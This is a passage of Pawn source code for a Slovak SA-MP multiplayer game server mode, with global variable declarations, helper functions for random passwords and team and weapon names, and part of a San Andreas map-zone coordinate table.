new Locator[MAX_PLAYERS_EX][LOCATOR_INFO];
new HouseStates[MAX_HOUSES][HOUSE_INFO_B];
new AmmoPickup;
new ExteriorGymPickup[3];
new InteriorGymPickup[3];
new TrainingFightingStylePickup[3];
new Checkpoint[MAX_PLAYERS_EX][CP_INFO];
new InteriorP[MAX_HOUSES];
new DiscoInt_Ext[2];
new House_V[MAX_HOUSES][HOUSE_STATE];
new Car[5][MAX_HOUSES];
new CarNeon1[5][MAX_HOUSES];
new CarNeon2[5][MAX_HOUSES];
new ClanVehicleNeon1[5][MAX_HOUSES];
new ClanVehicleNeon2[5][MAX_HOUSES];
new Player[MAX_PLAYERS_EX][PLAYER_INFO];
new Server[SERVER_INFO];
new Drag[DRAG_SYSTEM];
new SkinShop[4];
new JizzyPickup;
new LocPickup;
new NotebookGamesTimer;
new Urad[2];
new UpdateExTimer[MAX_PLAYERS_EX];
new FuelPump[5];
new DTC_Car[10];
new UradIntPickup[2];
new SWATPickup[2];
new OilWell[16];
new OilWell_Cash[16];
new ElectroShop;
new JobCentrum[28];
new FoodPickup[3];
new gBIGSTRING[1024];

new Float:CV_x[5][MAX_CLANS];
new Float:CV_y[5][MAX_CLANS];
new Float:CV_z[5][MAX_CLANS];
new Float:CV_a[5][MAX_CLANS];
new Float:CV_x2[5][MAX_CLANS];
new Float:CV_y2[5][MAX_CLANS];
new Float:CV_z2[5][MAX_CLANS];
new Float:CV_a2[5][MAX_CLANS];
new Float:HV_x[5][MAX_HOUSES];
new Float:HV_y[5][MAX_HOUSES];
new Float:HV_z[5][MAX_HOUSES];
new Float:HV_a[5][MAX_HOUSES];
new Float:HV_x2[5][MAX_HOUSES];
new Float:HV_y2[5][MAX_HOUSES];
new Float:HV_z2[5][MAX_HOUSES];
new Float:HV_a2[5][MAX_HOUSES];
new Float:VehPosX[MAX_PLAYERS_EX], Float:VehPosY[MAX_PLAYERS_EX], Float:VehPosZ[MAX_PLAYERS_EX];
new Float:CarShopVehicleSpawnPos[4][9];

new Text3D:OilWell_Text3D[16];
new Text3D:Text_AFK[MAX_PLAYERS_EX];

new Text:TDweb;
new Text:TDlogo;
new Text:PrisonTD[MAX_PLAYERS_EX];
new Text:Clock;
new Text:RealClock;
new Text:GPSLocation[MAX_PLAYERS_EX];
new Text:InfoBoxNadpis[MAX_PLAYERS_EX];
new Text:InfoBoxText[MAX_PLAYERS_EX];
new Text:SpeedMeter_Box;
new Text:SpeedMeter_Functions[MAX_PLAYERS_EX];
new Text:SpeedMeter_Fuel[MAX_VEHICLES_EX];
new Text:PRespectTD_Box;
new Text:PRespectTD_Line[MAX_PLAYERS_EX];
new Text:PRespectTD_Text;
new Text:PSkillTD_Box;
new Text:PSkillTD_Line[MAX_PLAYERS_EX];
new Text:PSkillTD_Text;

new bool:CrackStatus[3];
new bool:VehicleStatus[MAX_VEHICLES_EX];
new bool:MarihuanaPlantLastS[12];
new bool:INV_BombStatus[MAX_CREATED_BOMBS];
new bool:INV_Bomb_M_S[MAX_CREATED_BOMBS];
new bool:CarNeons[5][MAX_HOUSES];
new bool:ClanVehicleNeons[5][MAX_HOUSES];
new bool:NotebookGamesTimerBool;
new bool:Car_State[5][MAX_HOUSES];
new bool:PlayerVehicleNeons[5][MAX_PLAYERS_EX];
new bool:ClanVehicle_State[5][MAX_CLANS];
new bool:PlayerVehicle_State[5][MAX_PLAYERS_EX];
new bool:UsePlayerStoppingAnimation[MAX_PLAYERS_EX];

//-------------- DRIFT --------------------

new EndDriftTimer[MAX_PLAYERS_EX];
new Float:TDirection,
    Float:CDirection,
    Float:DriftAngle,
    Float:speed;
new DriftScore[MAX_PLAYERS_EX];
new TotalDriftScore[MAX_PLAYERS_EX];
new PublicDriftString[64];
new Text:DrawDriftScore[MAX_PLAYERS_EX];
new Text:DrawTotalDriftScore[MAX_PLAYERS_EX];
new bool:EndDriftTimerBool[MAX_PLAYERS_EX];

//------------------------------------------

stock GetPlayerACMoney(playerid) return Player[playerid][Money];

stock RandomCharacter()
{
    new character[2];

    new randomchar = random(62);

         if(randomchar <= 1)  character="0";
    else if(randomchar == 2)  character="1";
    else if(randomchar == 3)  character="2";
    else if(randomchar == 4)  character="3";
    else if(randomchar == 5)  character="4";
    else if(randomchar == 6)  character="5";
    else if(randomchar == 7)  character="6";
    else if(randomchar == 8)  character="7";
    else if(randomchar == 9)  character="8";
    else if(randomchar == 10) character="9";
    else if(randomchar == 11) character="a";
    else if(randomchar == 12) character="b";
    else if(randomchar == 13) character="c";
    else if(randomchar == 14) character="d";
    else if(randomchar == 15) character="e";
    else if(randomchar == 16) character="f";
    else if(randomchar == 17) character="g";
    else if(randomchar == 18) character="h";
    else if(randomchar == 19) character="i";
    else if(randomchar == 20) character="j";
    else if(randomchar == 21) character="k";
    else if(randomchar == 22) character="l";
    else if(randomchar == 23) character="m";
    else if(randomchar == 24) character="n";
    else if(randomchar == 25) character="o";
    else if(randomchar == 26) character="p";
    else if(randomchar == 27) character="q";
    else if(randomchar == 28) character="r";
    else if(randomchar == 29) character="s";
    else if(randomchar == 30) character="t";
    else if(randomchar == 31) character="u";
    else if(randomchar == 32) character="v";
    else if(randomchar == 33) character="w";
    else if(randomchar == 34) character="x";
    else if(randomchar == 35) character="y";
    else if(randomchar == 36) character="z";
    else if(randomchar == 37) character="A";
    else if(randomchar == 38) character="B";
    else if(randomchar == 39) character="C";
    else if(randomchar == 40) character="D";
    else if(randomchar == 41) character="E";
    else if(randomchar == 42) character="F";
    else if(randomchar == 43) character="G";
    else if(randomchar == 44) character="H";
    else if(randomchar == 45) character="I";
    else if(randomchar == 46) character="J";
    else if(randomchar == 47) character="K";
    else if(randomchar == 48) character="L";
    else if(randomchar == 49) character="M";
    else if(randomchar == 50) character="N";
    else if(randomchar == 51) character="O";
    else if(randomchar == 52) character="P";
    else if(randomchar == 53) character="Q";
    else if(randomchar == 54) character="R";
    else if(randomchar == 55) character="S";
    else if(randomchar == 56) character="T";
    else if(randomchar == 57) character="U";
    else if(randomchar == 58) character="V";
    else if(randomchar == 59) character="W";
    else if(randomchar == 60) character="X";
    else if(randomchar == 61) character="Y";
    else if(randomchar == 62) character="á";
    else if(randomchar == 63) character="ä";
    else if(randomchar == 64) character="č";
    else if(randomchar == 65) character="ď";
    else if(randomchar == 66) character="é";
    else if(randomchar == 67) character="ľ";
    else if(randomchar == 68) character="ň";
    else if(randomchar == 69) character="ó";
    else if(randomchar == 70) character="ô";
    else if(randomchar == 71) character="š";
    else if(randomchar == 72) character="ť";
    else if(randomchar == 73) character="ú";
    else if(randomchar == 74) character="í";
    else if(randomchar == 75) character="ý";
    else if(randomchar == 76) character="ž";
    else if(randomchar == 77) character="Č";
    else if(randomchar == 78) character="Š";
    else if(randomchar == 79) character="Ľ";
    else if(randomchar == 80) character="Ď";
    else if(randomchar == 81) character="Ť";
    else if(randomchar == 82) character="Ž";
    else character="Z";

    return character;
}

stock RandomPassword()
{
    new password[11];

    for(new ch=0; ch<10; ch++)
    {
        strcat(password, RandomCharacter());
    }
    return password;
}

stock GetFirmTypeString(firmid)
{
    new stringtype[32];

         if(Firm[firmid][Type] == 0) stringtype="Vehicle Wheels";
    else if(Firm[firmid][Type] == 1) stringtype="Neon Garage";
    else if(Firm[firmid][Type] == 2) stringtype="Vehicle Respray";
    else if(Firm[firmid][Type] == 3) stringtype="Transfender (tunning)";
    else if(Firm[firmid][Type] == 4) stringtype="Fuel Pump";
    else if(Firm[firmid][Type] == 5) stringtype="Cluckin Bell";
    else if(Firm[firmid][Type] == 6) stringtype="Burger Shot";
    else if(Firm[firmid][Type] == 7) stringtype="Pizza";
    else if(Firm[firmid][Type] == 8) stringtype="Ammu Nation";

    return stringtype;
}

stock GetPlayerTeamString(playerid)
{
    new PTeam[32];

         if(Player[playerid][Team] ==  0) PTeam = "Nezamestnaný";///////////////
    else if(Player[playerid][Team] ==  1) PTeam = "Groove Street";//////////////
    else if(Player[playerid][Team] ==  2) PTeam = "The Ballas";/////////////////
    else if(Player[playerid][Team] ==  3) PTeam = "Los Santos Vagos";///////////
    else if(Player[playerid][Team] ==  4) PTeam = "Los Aztecas";////////////////
    else if(Player[playerid][Team] ==  5) PTeam = "SWAT";///////////////////////
    else if(Player[playerid][Team] ==  6) PTeam = "Talianská Mafia";//////////////
    else if(Player[playerid][Team] ==  7) PTeam = "Drogová Mafia";//////////////
    else if(Player[playerid][Team] ==  8) PTeam = "Hitman";/////////////////////
    else if(Player[playerid][Team] ==  9) PTeam = "SBS";////////////////////////
    else if(Player[playerid][Team] == 10) PTeam = "Taxikár";////////////////////
    else if(Player[playerid][Team] == 11) PTeam = "Policia (LSPD)";/////////////
    else if(Player[playerid][Team] == 12) PTeam = "Autobusár";//////////////////
    else if(Player[playerid][Team] == 13) PTeam = "Upratovacia Služba";////////////
    else if(Player[playerid][Team] == 14) PTeam = "Doktor";/////////////////////
    else if(Player[playerid][Team] == 15) PTeam = "Mechanik";///////////////////
    else if(Player[playerid][Team] == 16) PTeam = "Vojak";//////////////////////
    else if(Player[playerid][Team] == 17) PTeam = "Hasič (LSFD)";
    else if(Player[playerid][Team] == 18) PTeam = "Reportér (LS)";//////////////
    else if(Player[playerid][Team] == 19) PTeam = "Šerif";//////////////////////
    else if(Player[playerid][Team] == 20) PTeam = "San Fierro Rifa";////////////
    else if(Player[playerid][Team] == 21) PTeam = "Reportér (SF)";//////////////
    else if(Player[playerid][Team] == 22) PTeam = "Policia (SFPD)";/////////////
    else if(Player[playerid][Team] == 23) PTeam = "Hasič (SFFD)";
    else if(Player[playerid][Team] == 24) PTeam = "San Fierro Army";////////////
    else if(Player[playerid][Team] == 25) PTeam = "FBI";////////////////////////
    else if(Player[playerid][Team] == 26) PTeam = "Ruská Mafia";////////////////
    else if(Player[playerid][Team] == 27) PTeam = "Smetiar";////////////////////
    else if(Player[playerid][Team] == 28) PTeam = "Yakuza";/////////////////////
    else if(Player[playerid][Team] == 99) PTeam = "Clan";///////////////////////
    else PTeam = " ";

    return PTeam;
}

stock WeaponName(weapon)
{
   new Weapon_Name[40];
           if(weapon ==  0) Weapon_Name = "Nic";
   else if(weapon ==  1) Weapon_Name = "Boxer";
   else if(weapon ==  2) Weapon_Name = "Golfova palica";
   else if(weapon ==  3) Weapon_Name = "Palica";
   else if(weapon ==  4) Weapon_Name = "Noz";
   else if(weapon ==  5) Weapon_Name = "Baseballka";
   else if(weapon ==  6) Weapon_Name = "Maceta";
   else if(weapon ==  7) Weapon_Name = "Biliardova palica";
   else if(weapon ==  8) Weapon_Name = "Katana";
   else if(weapon ==  9) Weapon_Name = "Motorovka";
   else if(weapon == 10) Weapon_Name = "Dildo";
   else if(weapon == 11) Weapon_Name = "Dildo2";
   else if(weapon == 12) Weapon_Name = "Vibrator";
   else if(weapon == 13) Weapon_Name = "Vibrator2";
   else if(weapon == 14) Weapon_Name = "Kvetiny";
   else if(weapon == 15) Weapon_Name = "Cane";
   else if(weapon == 16) Weapon_Name = "Granat";
   else if(weapon == 17) Weapon_Name = "Slzny plyn";
   else if(weapon == 18) Weapon_Name = "Molotovov koktejl";
   else if(weapon == 22) Weapon_Name = "Kolt45";
   else if(weapon == 23) Weapon_Name = "Pistole s tlumicom";
   else if(weapon == 24) Weapon_Name = "Desert Eagle";
   else if(weapon == 25) Weapon_Name = "Shotgun";
   else if(weapon == 26) Weapon_Name = "Sawn-off Shotgun";
   else if(weapon == 27) Weapon_Name = "Combat Shotgun";
   else if(weapon == 28) Weapon_Name = "Uzi";
   else if(weapon == 29) Weapon_Name = "MP5";
   else if(weapon == 30) Weapon_Name = "AK47";
   else if(weapon == 31) Weapon_Name = "M4";
   else if(weapon == 32) Weapon_Name = "Tec9";
   else if(weapon == 33) Weapon_Name = "Rifle";
   else if(weapon == 34) Weapon_Name = "Sniperka";
   else if(weapon == 35) Weapon_Name = "Raketomet";
   else if(weapon == 36) Weapon_Name = "RPG";
   else if(weapon == 37) Weapon_Name = "Plamenomet";
   else if(weapon == 38) Weapon_Name = "Minigun";
   else if(weapon == 39) Weapon_Name = "C4";
   else if(weapon == 40) Weapon_Name = "C4";
   else if(weapon == 41) Weapon_Name = "Spray";
   else if(weapon == 42) Weapon_Name = "Hasicak";
   else if(weapon == 43) Weapon_Name = "Fotak";
   else if(weapon == 46) Weapon_Name = "Padak";
   return Weapon_Name;
}

stock chrfind(needle, haystack[], start = 0)
{
    while(haystack[start]) if(haystack[start++] == needle) return start - 1;
    return -1;
}

static const SanAndreasZones[][MainZone] = {

    {"The Big Ear",                    {-410.00,1403.30,-3.00,-137.90,1681.20,200.00}},
    {"Aldea Malvada",               {-1372.10,2498.50,0.00,-1277.50,2615.30,200.00}},
    {"Angel Pine",                  {-2324.90,-2584.20,-6.10,-1964.20,-2212.10,200.00}},
    {"Arco del Oeste",              {-901.10,2221.80,0.00,-592.00,2571.90,200.00}},
    {"Avispa Country Club",         {-2646.40,-355.40,0.00,-2270.00,-222.50,200.00}},
    {"Avispa Country Club",         {-2831.80,-430.20,-6.10,-2646.40,-222.50,200.00}},
    {"Avispa Country Club",         {-2361.50,-417.10,0.00,-2270.00,-355.40,200.00}},
    {"Avispa Country Club",         {-2667.80,-302.10,-28.80,-2646.40,-262.30,71.10}},
    {"Avispa Country Club",         {-2470.00,-355.40,0.00,-2270.00,-318.40,46.10}},
    {"Avispa Country Club",         {-2550.00,-355.40,0.00,-2470.00,-318.40,39.70}},
    {"Back o Beyond",               {-1166.90,-2641.10,0.00,-321.70,-1856.00,200.00}},
    {"Battery Point",               {-2741.00,1268.40,-4.50,-2533.00,1490.40,200.00}},
    {"Bayside",                     {-2741.00,2175.10,0.00,-2353.10,2722.70,200.00}},
    {"Bayside Marina",              {-2353.10,2275.70,0.00,-2153.10,2475.70,200.00}},
    {"Beacon Hill",                 {-399.60,-1075.50,-1.40,-319.00,-977.50,198.50}},
    {"Blackfield",                  {964.30,1203.20,-89.00,1197.30,1403.20,110.90}},
    {"Blackfield",                  {964.30,1403.20,-89.00,1197.30,1726.20,110.90}},
    {"Blackfield Chapel",           {1375.60,596.30,-89.00,1558.00,823.20,110.90}},
    {"Blackfield Chapel",           {1325.60,596.30,-89.00,1375.60,795.00,110.90}},
    {"Blackfield Intersection",     {1197.30,1044.60,-89.00,1277.00,1163.30,110.90}},
    {"Blackfield Intersection",     {1166.50,795.00,-89.00,1375.60,1044.60,110.90}},
    {"Blackfield Intersection",     {1277.00,1044.60,-89.00,1315.30,1087.60,110.90}},
    {"Blackfield Intersection",     {1375.60,823.20,-89.00,1457.30,919.40,110.90}},
    {"Blueberry",                   {104.50,-220.10,2.30,349.60,152.20,200.00}},
    {"Blueberry",                   {19.60,-404.10,3.80,349.60,-220.10,200.00}},
    {"Blueberry Acres",             {-319.60,-220.10,0.00,104.50,293.30,200.00}},
    {"Caligula's Palace",           {2087.30,1543.20,-89.00,2437.30,1703.20,110.90}},
    {"Caligula's Palace",           {2137.40,1703.20,-89.00,2437.30,1783.20,110.90}},
    {"Calton Heights",              {-2274.10,744.10,-6.10,-1982.30,1358.90,200.00}},
    {"Chinatown",                   {-2274.10,578.30,-7.60,-2078.60,744.10,200.00}},
    {"City Hall",                   {-2867.80,277.40,-9.10,-2593.40,458.40,200.00}},
    {"Come-A-Lot",                  {2087.30,943.20,-89.00,2623.10,1203.20,110.90}},
    {"Commerce",                    {1323.90,-1842.20,-89.00,1701.90,-1722.20,110.90}},
    {"Commerce",                    {1323.90,-1722.20,-89.00,1440.90,-1577.50,110.90}},
    {"Commerce",                    {1370.80,-1577.50,-89.00,1463.90,-1384.90,110.90}},
    {"Commerce",                    {1463.90,-1577.50,-89.00,1667.90,-1430.80,110.90}},
    {"Commerce",                    {1583.50,-1722.20,-89.00,1758.90,-1577.50,110.90}},
    {"Commerce",                    {1667.90,-1577.50,-89.00,1812.60,-1430.80,110.90}},
    {"Conference Center",           {1046.10,-1804.20,-89.00,1323.90,-1722.20,110.90}},
    {"Conference Center",           {1073.20,-1842.20,-89.00,1323.90,-1804.20,110.90}},
    {"Cranberry Station",           {-2007.80,56.30,0.00,-1922.00,224.70,100.00}},
    {"Creek",                       {2749.90,1937.20,-89.00,2921.60,2669.70,110.90}},
    {"Dillimore",                   {580.70,-674.80,-9.50,861.00,-404.70,200.00}},
    {"Doherty",                     {-2270.00,-324.10,-0.00,-1794.90,-222.50,200.00}},
    {"Doherty",                     {-2173.00,-222.50,-0.00,-1794.90,265.20,200.00}},
    {"Downtown",                    {-1982.30,744.10,-6.10,-1871.70,1274.20,200.00}},
    {"Downtown",                    {-1871.70,1176.40,-4.50,-1620.30,1274.20,200.00}},
    {"Downtown",                    {-1700.00,744.20,-6.10,-1580.00,1176.50,200.00}},
    {"Downtown",                    {-1580.00,744.20,-6.10,-1499.80,1025.90,200.00}},
    {"Downtown",                    {-2078.60,578.30,-7.60,-1499.80,744.20,200.00}},
    {"Downtown",                    {-1993.20,265.20,-9.10,-1794.90,578.30,200.00}},
    {"Downtown Los Santos",         {1463.90,-1430.80,-89.00,1724.70,-1290.80,110.90}},
    {"Downtown Los Santos",         {1724.70,-1430.80,-89.00,1812.60,-1250.90,110.90}},
    {"Downtown Los Santos",         {1463.90,-1290.80,-89.00,1724.70,-1150.80,110.90}},
    {"Downtown Los Santos",         {1370.80,-1384.90,-89.00,1463.90,-1170.80,110.90}},
    {"Downtown Los Santos",         {1724.70,-1250.90,-89.00,1812.60,-1150.80,110.90}},
    {"Downtown Los Santos",         {1370.80,-1170.80,-89.00,1463.90,-1130.80,110.90}},
    {"Downtown Los Santos",         {1378.30,-1130.80,-89.00,1463.90,-1026.30,110.90}},
    {"Downtown Los Santos",         {1391.00,-1026.30,-89.00,1463.90,-926.90,110.90}},
    {"Downtown Los Santos",         {1507.50,-1385.20,110.90,1582.50,-1325.30,335.90}},
    {"East Beach",                  {2632.80,-1852.80,-89.00,2959.30,-1668.10,110.90}},
    {"East Beach",                  {2632.80,-1668.10,-89.00,2747.70,-1393.40,110.90}},
    {"East Beach",                  {2747.70,-1668.10,-89.00,2959.30,-1498.60,110.90}},
    {"East Beach",                  {2747.70,-1498.60,-89.00,2959.30,-1120.00,110.90}},
    {"East Los Santos",             {2421.00,-1628.50,-89.00,2632.80,-1454.30,110.90}},
    {"East Los Santos",             {2222.50,-1628.50,-89.00,2421.00,-1494.00,110.90}},
    {"East Los Santos",             {2266.20,-1494.00,-89.00,2381.60,-1372.00,110.90}},
    {"East Los Santos",             {2381.60,-1494.00,-89.00,2421.00,-1454.30,110.90}},
    {"East Los Santos",             {2281.40,-1372.00,-89.00,2381.60,-1135.00,110.90}},
    {"East Los Santos",             {2381.60,-1454.30,-89.00,2462.10,-1135.00,110.90}},
    {"East Los Santos",             {2462.10,-1454.30,-89.00,2581.70,-1135.00,110.90}},
    {"Easter Basin",                {-1794.90,249.90,-9.10,-1242.90,578.30,200.00}},
    {"Easter Basin",                {-1794.90,-50.00,-0.00,-1499.80,249.90,200.00}},
    {"Easter Bay Airport",          {-1499.80,-50.00,-0.00,-1242.90,249.90,200.00}},
    {"Easter Bay Airport",          {-1794.90,-730.10,-3.00,-1213.90,-50.00,200.00}},
    {"Easter Bay Airport",          {-1213.90,-730.10,0.00,-1132.80,-50.00,200.00}},
    {"Easter Bay Airport",          {-1242.90,-50.00,0.00,-1213.90,578.30,200.00}},
    {"Easter Bay Airport",          {-1213.90,-50.00,-4.50,-947.90,578.30,200.00}},
    {"Easter Bay Airport",          {-1315.40,-405.30,15.40,-1264.40,-209.50,25.40}},
    {"Easter Bay Airport",          {-1354.30,-287.30,15.40,-1315.40,-209.50,25.40}},
    {"Easter Bay Airport",          {-1490.30,-209.50,15.40,-1264.40,-148.30,25.40}},
    {"Easter Bay Chemicals",        {-1132.80,-768.00,0.00,-956.40,-578.10,200.00}},
    {"Easter Bay Chemicals",        {-1132.80,-787.30,0.00,-956.40,-768.00,200.00}},
    {"El Castillo del Diablo",      {-464.50,2217.60,0.00,-208.50,2580.30,200.00}},
    {"El Castillo del Diablo",      {-208.50,2123.00,-7.60,114.00,2337.10,200.00}},
    {"El Castillo del Diablo",      {-208.50,2337.10,0.00,8.40,2487.10,200.00}},
    {"El Corona",                   {1812.60,-2179.20,-89.00,1970.60,-1852.80,110.90}},
    {"El Corona",                   {1692.60,-2179.20,-89.00,1812.60,-1842.20,110.90}},
    {"El Quebrados",                {-1645.20,2498.50,0.00,-1372.10,2777.80,200.00}},
    {"Esplanade East",              {-1620.30,1176.50,-4.50,-1580.00,1274.20,200.00}},
    {"Esplanade East",              {-1580.00,1025.90,-6.10,-1499.80,1274.20,200.00}},
    {"Esplanade East",              {-1499.80,578.30,-79.60,-1339.80,1274.20,20.30}},
    {"Esplanade North",             {-2533.00,1358.90,-4.50,-1996.60,1501.20,200.00}},
    {"Esplanade North",             {-1996.60,1358.90,-4.50,-1524.20,1592.50,200.00}},
    {"Esplanade North",             {-1982.30,1274.20,-4.50,-1524.20,1358.90,200.00}},
    {"Fallen Tree",                 {-792.20,-698.50,-5.30,-452.40,-380.00,200.00}},
    {"Fallow Bridge",               {434.30,366.50,0.00,603.00,555.60,200.00}},
    {"Fern Ridge",                  {508.10,-139.20,0.00,1306.60,119.50,200.00}},
    {"Financial",                   {-1871.70,744.10,-6.10,-1701.30,1176.40,300.00}},
    {"Fisher's Lagoon",             {1916.90,-233.30,-100.00,2131.70,13.80,200.00}},
    {"Flint Intersection",          {-187.70,-1596.70,-89.00,17.00,-1276.60,110.90}},
    {"Flint Range",                 {-594.10,-1648.50,0.00,-187.70,-1276.60,200.00}},
    {"Fort Carson",                 {-376.20,826.30,-3.00,123.70,1220.40,200.00}},
    {"Foster Valley",               {-2270.00,-430.20,-0.00,-2178.60,-324.10,200.00}},
    {"Foster Valley",               {-2178.60,-599.80,-0.00,-1794.90,-324.10,200.00}},
    {"Foster Valley",               {-2178.60,-1115.50,0.00,-1794.90,-599.80,200.00}},
    {"Foster Valley",               {-2178.60,-1250.90,0.00,-1794.90,-1115.50,200.00}},
    {"Frederick Bridge",            {2759.20,296.50,0.00,2774.20,594.70,200.00}},
    {"Gant Bridge",                 {-2741.40,1659.60,-6.10,-2616.40,2175.10,200.00}},
    {"Gant Bridge",                 {-2741.00,1490.40,-6.10,-2616.40,1659.60,200.00}},
    {"Ganton",                      {2222.50,-1852.80,-89.00,2632.80,-1722.30,110.90}},
    {"Ganton",                      {2222.50,-1722.30,-89.00,2632.80,-1628.50,110.90}},
    {"Garcia",                      {-2411.20,-222.50,-0.00,-2173.00,265.20,200.00}},
    {"Garcia",                      {-2395.10,-222.50,-5.30,-2354.00,-204.70,200.00}},
    {"Garver Bridge",               {-1339.80,828.10,-89.00,-1213.90,1057.00,110.90}},
    {"Garver Bridge",               {-1213.90,950.00,-89.00,-1087.90,1178.90,110.90}},
    {"Garver Bridge",               {-1499.80,696.40,-179.60,-1339.80,925.30,20.30}},
    {"Glen Park",                   {1812.60,-1449.60,-89.00,1996.90,-1350.70,110.90}},
    {"Glen Park",                   {1812.60,-1100.80,-89.00,1994.30,-973.30,110.90}},
    {"Glen Park",                   {1812.60,-1350.70,-89.00,2056.80,-1100.80,110.90}},
    {"Green Palms",                 {176.50,1305.40,-3.00,338.60,1520.70,200.00}},
    {"Greenglass College",          {964.30,1044.60,-89.00,1197.30,1203.20,110.90}},
    {"Greenglass College",          {964.30,930.80,-89.00,1166.50,1044.60,110.90}},
    {"Hampton Barns",               {603.00,264.30,0.00,761.90,366.50,200.00}},
    {"Hankypanky Point",            {2576.90,62.10,0.00,2759.20,385.50,200.00}},
    {"Harry Gold Parkway",          {1777.30,863.20,-89.00,1817.30,2342.80,110.90}},
    {"Hashbury",                    {-2593.40,-222.50,-0.00,-2411.20,54.70,200.00}},
    {"Hilltop Farm",                {967.30,-450.30,-3.00,1176.70,-217.90,200.00}},
    {"Hunter Quarry",               {337.20,710.80,-115.20,860.50,1031.70,203.70}},
    {"Idlewood",                    {1812.60,-1852.80,-89.00,1971.60,-1742.30,110.90}},
    {"Idlewood",                    {1812.60,-1742.30,-89.00,1951.60,-1602.30,110.90}},
    {"Idlewood",                    {1951.60,-1742.30,-89.00,2124.60,-1602.30,110.90}},
    {"Idlewood",                    {1812.60,-1602.30,-89.00,2124.60,-1449.60,110.90}},
    {"Idlewood",                    {2124.60,-1742.30,-89.00,2222.50,-1494.00,110.90}},
    {"Idlewood",                    {1971.60,-1852.80,-89.00,2222.50,-1742.30,110.90}},
    {"Jefferson",                   {1996.90,-1449.60,-89.00,2056.80,-1350.70,110.90}},
    {"Jefferson",                   {2124.60,-1494.00,-89.00,2266.20,-1449.60,110.90}},
    {"Jefferson",                   {2056.80,-1372.00,-89.00,2281.40,-1210.70,110.90}},
    {"Jefferson",                   {2056.80,-1210.70,-89.00,2185.30,-1126.30,110.90}},
    {"Jefferson",                   {2185.30,-1210.70,-89.00,2281.40,-1154.50,110.90}},
    {"Jefferson",                   {2056.80,-1449.60,-89.00,2266.20,-1372.00,110.90}},
    {"Julius Thruway East",         {2623.10,943.20,-89.00,2749.90,1055.90,110.90}},
    {"Julius Thruway East",         {2685.10,1055.90,-89.00,2749.90,2626.50,110.90}},
    {"Julius Thruway East",         {2536.40,2442.50,-89.00,2685.10,2542.50,110.90}},
    {"Julius Thruway East",         {2625.10,2202.70,-89.00,2685.10,2442.50,110.90}},
    {"Julius Thruway North",        {2498.20,2542.50,-89.00,2685.10,2626.50,110.90}},
    {"Julius Thruway North",        {2237.40,2542.50,-89.00,2498.20,2663.10,110.90}},
    {"Julius Thruway North",        {2121.40,2508.20,-89.00,2237.40,2663.10,110.90}},
    {"Julius Thruway North",        {1938.80,2508.20,-89.00,2121.40,2624.20,110.90}},
    {"Julius Thruway North",        {1534.50,2433.20,-89.00,1848.40,2583.20,110.90}},
    {"Julius Thruway North",        {1848.40,2478.40,-89.00,1938.80,2553.40,110.90}},
    {"Julius Thruway North",        {1704.50,2342.80,-89.00,1848.40,2433.20,110.90}},
    {"Julius Thruway North",        {1377.30,2433.20,-89.00,1534.50,2507.20,110.90}},
    {"Julius Thruway South",        {1457.30,823.20,-89.00,2377.30,863.20,110.90}},
    {"Julius Thruway South",        {2377.30,788.80,-89.00,2537.30,897.90,110.90}},
    {"Julius Thruway West",         {1197.30,1163.30,-89.00,1236.60,2243.20,110.90}},
    {"Julius Thruway West",         {1236.60,2142.80,-89.00,1297.40,2243.20,110.90}},
    {"Juniper Hill",                {-2533.00,578.30,-7.60,-2274.10,968.30,200.00}},
    {"Juniper Hollow",              {-2533.00,968.30,-6.10,-2274.10,1358.90,200.00}},
    {"K.A.C.C. Military Fuels",     {2498.20,2626.50,-89.00,2749.90,2861.50,110.90}},
    {"Kincaid Bridge",              {-1339.80,599.20,-89.00,-1213.90,828.10,110.90}},
    {"Kincaid Bridge",              {-1213.90,721.10,-89.00,-1087.90,950.00,110.90}},
    {"Kincaid Bridge",              {-1087.90,855.30,-89.00,-961.90,986.20,110.90}},
    {"King's",                      {-2329.30,458.40,-7.60,-1993.20,578.30,200.00}},
    {"King's",                      {-2411.20,265.20,-9.10,-1993.20,373.50,200.00}},
    {"King's",                      {-2253.50,373.50,-9.10,-1993.20,458.40,200.00}},
    {"LVA Freight Depot",           {1457.30,863.20,-89.00,1777.40,1143.20,110.90}},
    {"LVA Freight Depot",           {1375.60,919.40,-89.00,1457.30,1203.20,110.90}},
    {"LVA Freight Depot",           {1277.00,1087.60,-89.00,1375.60,1203.20,110.90}},
    {"LVA Freight Depot",           {1315.30,1044.60,-89.00,1375.60,1087.60,110.90}},
    {"LVA Freight Depot",           {1236.60,1163.40,-89.00,1277.00,1203.20,110.90}},
    {"Las Barrancas",               {-926.10,1398.70,-3.00,-719.20,1634.60,200.00}},
    {"Las Brujas",                  {-365.10,2123.00,-3.00,-208.50,2217.60,200.00}},
    {"Las Colinas",                 {1994.30,-1100.80,-89.00,2056.80,-920.80,110.90}},
    {"Las Colinas",                 {2056.80,-1126.30,-89.00,2126.80,-920.80,110.90}},
    {"Las Colinas",                 {2185.30,-1154.50,-89.00,2281.40,-934.40,110.90}},
    {"Las Colinas",                 {2126.80,-1126.30,-89.00,2185.30,-934.40,110.90}},
    {"Las Colinas",                 {2747.70,-1120.00,-89.00,2959.30,-945.00,110.90}},
    {"Las Colinas",                 {2632.70,-1135.00,-89.00,2747.70,-945.00,110.90}},
    {"Las Colinas",                 {2281.40,-1135.00,-89.00,2632.70,-945.00,110.90}},
    {"Las Payasadas",               {-354.30,2580.30,2.00,-133.60,2816.80,200.00}},
    {"Las Venturas Airport",        {1236.60,1203.20,-89.00,1457.30,1883.10,110.90}},
    {"Las Venturas Airport",        {1457.30,1203.20,-89.00,1777.30,1883.10,110.90}},
    {"Las Venturas Airport",        {1457.30,1143.20,-89.00,1777.40,1203.20,110.90}},
    {"Las Venturas Airport",        {1515.80,1586.40,-12.50,1729.90,1714.50,87.50}},
    {"Last Dime Motel",             {1823.00,596.30,-89.00,1997.20,823.20,110.90}},
    {"Leafy Hollow",                {-1166.90,-1856.00,0.00,-815.60,-1602.00,200.00}},
    {"Liberty City",                {-1000.00,400.00,1300.00,-700.00,600.00,1400.00}},
    {"Lil' Probe Inn",              {-90.20,1286.80,-3.00,153.80,1554.10,200.00}},
    {"Linden Side",                 {2749.90,943.20,-89.00,2923.30,1198.90,110.90}},
    {"Linden Station",              {2749.90,1198.90,-89.00,2923.30,1548.90,110.90}},
    {"Linden Station",              {2811.20,1229.50,-39.50,2861.20,1407.50,60.40}},
    {"Little Mexico",               {1701.90,-1842.20,-89.00,1812.60,-1722.20,110.90}},
    {"Little Mexico",               {1758.90,-1722.20,-89.00,1812.60,-1577.50,110.90}},
    {"Los Flores",                  {2581.70,-1454.30,-89.00,2632.80,-1393.40,110.90}},
